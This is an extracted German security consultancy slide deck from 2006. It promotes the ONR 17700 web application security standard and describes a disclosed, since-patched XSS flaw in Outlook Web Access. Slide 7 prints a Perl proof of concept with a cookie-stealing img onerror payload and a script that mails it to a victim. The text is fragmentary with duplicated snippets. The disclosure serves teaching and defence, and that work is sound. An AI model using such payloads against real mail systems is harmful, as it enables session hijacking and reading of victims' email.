Sichere Webapplikationen nach ONR oder Wer liest meine s?

Größe: px

Ab Seite anzeigen:

Download "Sichere Webapplikationen nach ONR 17700 oder Wer liest meine Emails?"

Julian Böhm
vor 8 Jahren
Abrufe

1 Sichere Webapplikationen nach ONR oder Wer liest meine s? Advisor for your information security. Essen, Oktober 2006 Version 1.0

2 SEC Consult Advisor for your information security Information Security Beratung Unabhängigkeit von Produktherstellern Spezialist für technische Audits + Umsetzung Spezialist für die Einführung von Sicherheitsprozessen und Policies Behörden, Banken, Versicherungen, börsennotierte Unternehmen in Zentraleuropa als Kunden SEC Consult Unternehmensberatung GmbH All rights reserved

Einführung von Sicherheitsprozessen und Policies Behörden, Banken, Versicherungen,

3 ONR Sicherheitstechnische Anforderungen an Webapplikationen Erste Norm im EU-Raum für die Sicherheit von Webanwendungen Entwickelt von Österr. Normungsinsitut, SEC Consult, Großbanken, - versicherungen, Behörden, Wirtschaftsprüfern 2004/05 Vollständige Abdeckung des Sicherheitsbereichs in Webapplikationen (die von anderen Normen z.b. ISO nur gestreift werden) Gewährleistung eines hohen Sicherheitsniveaus für kritische Webapplikationen Sehr gutes Verhältnis von Investment zu Verbesserung des Sicherheitslevels SEC Consult Unternehmensberatung GmbH All rights reserved

Webapplikationen (die von anderen Normen z.b. ISO 27001 nur gestreift werden) Gewährleistung eines hohen Sicherheitsniveaus für kritische

4 Webapplikationen das schwächste Glied? Infrastruktur (DMZ, Firewalls, ) ist meist OK Viele Webapplikationen (Portale, Shops, Webmail, ) sind unsicher, weil Oft proprietäre Entwicklungen Müssen schwer vorhersehbaren Benutzerinput verarbeiten Stehen ungeschützt im Internet SEC Consult Unternehmensberatung GmbH All rights reserved

Shops, Webmail, ) sind unsicher, weil Oft proprietäre Entwicklungen Müssen schwer

5 Schwachstellen in Webanwendungen nur bei Eigenentwicklungen? Auch Webanwendungen von großen Herstellern wie z.b. der webbasierte Client Outlook Web Access (OWA) von Microsoft können verwundbar sein Was ist OWA? Client im Web Microsoft Outlook Funktionalität Mehrere Millionen Benutzer weltweit SEC Consult Unternehmensberatung GmbH All rights reserved

6 Schwachstelle in Microsoft Outlook Web Access (OWA) Entdeckt im SEC Consult Vulnerability Lab Ermöglicht Cross Site Scripting Angriffe auf Nutzer von OWA Übernahme von Mail-Konto möglich Somit Vollzugriff auf alle Mails des kompromittierten Nutzers Microsoft Patch bereits ausgerollt: MS SEC Consult Unternehmensberatung GmbH All rights reserved

möglich Somit Vollzugriff auf alle Mails des kompromittierten Nutzers Microsoft Patch

7 Hacking Outlook Web Access (Schritt 1 von 4) Der Angreifer verfasst ein , mit dessen Hilfe er die Session seines Opfers übernehmen will, und versendet es als Inline Attachment. #!/usr/bin/perl print "Cross Site Scripting demonstration\n"; print "<img src='http\x00http:///nonexisting_image.gif' onerror='javascript:window.location= ookie' alt='<s'\x00\n"; #!/usr/bin/perl use strict; #>./create_attack_mail.pl use Mail::Sender; > exploit.html my $recipients = opfer@example.org'; my $sender = new Mail::Sender {smtp => 'smtp.sec-consult.com'}; if ($sender->openmultipart({from => 't.kerbl@sec-consult.com', to => $recipients, subject => 'Inline HTML file', subtype => 'related', boundary => 'SECSECSECSECSECSECSEC', type => 'multipart/related'}) > 0) { $sender->sendfile( {description => 'html body', ctype => 'text/html; charset=iso ', disposition => 'NONE', file => 'exploit.html' }); }; Veröffentlichung der Schwachstelle erfolgte in Abstimmung mit Microsoft Development in Redmond, USA SEC Consult Unternehmensberatung GmbH All rights reserved

$cookie='+document.c ookie' alt='<s'\x00\n"; #!/usr/bin/perl use strict; #>./create_attack_mail.pl use Mail::Sender; > exploit.html my $recipients = opfer@example.$

mit Outlook Web Access 8 2006 SEC Consult

9 Hacking Outlook Web Access (Schritt 3 von 4) Das Cookie wird im Hintergrund an den Angreifer gesendet, ohne dass das Opfer etwas davon bemerkt SEC Consult Unternehmensberatung GmbH All rights reserved

gesendet, ohne dass das Opfer etwas davon bemerkt 9

10 Hacking Outlook Web Access (Schritt 4 von 4) Nach Übernahme des Cookies kann der Angreifer die Session seines Opfers übernehmen und somit dessen Account vollständig kompromittieren SEC Consult Unternehmensberatung GmbH All rights reserved

übernehmen und somit dessen Account vollständig

12 ONR So schützt man sich richtig z.b. vor Cross Site Scripting in Webapplikationen Die ONR definiert Vorgaben, die z.b. Cross Site Scripting Angriffen entgegenwirken: Kapitel 3: Architektur der Webapplikation Kapitel 5.4: Sitzungsmanagement Kapitel 6: Formulare und Benutzereingaben Werden alle diese Vorgaben der ON- Regel erfüllt, kann Cross Site Scripting unterbunden werden Infos: / SEC Consult Unternehmensberatung GmbH All rights reserved

pplikationen Die ONR 17700 definiert Vorgabe

13 SEC Consult Advisor for your information security Information Security Beratung Unabhängigkeit von Produktherstellern Spezialist für technische Audits + Umsetzung Spezialist für die Einführung von Sicherheitsprozessen und Policies Behörden, Banken, Versicherungen, börsennotierte Unternehmen in Zentraleuropa als Kunden SEC Consult Unternehmensberatung GmbH All rights reserved

14 Wie erreichen Sie SEC Consult? SEC Consult Unternehmensberatung GmbH Blindengasse 3, A-1080 Wien Tel: +43 / Fax: +43 / office@sec-consult.com Weitere Informationen finden Sie auch auf unserem Messestand: Halle: GA Stand-Nr.: SEC Consult Unternehmensberatung GmbH All rights reserved

8903043 0 Fax: +43 / 1 8903043 15 Email: office@sec-consult.

Ähnliche Dokumente

Webapplikationssicherheit (inkl. Livehack) TUGA 15

Webapplikationssicherheit (inkl. Livehack) TUGA 15 Advisor for your Information Security Version: 1.0 Autor: Thomas Kerbl Verantwortlich: Thomas Kerbl Datum: 05. Dezember 2008 Vertraulichkeitsstufe: Öffentlich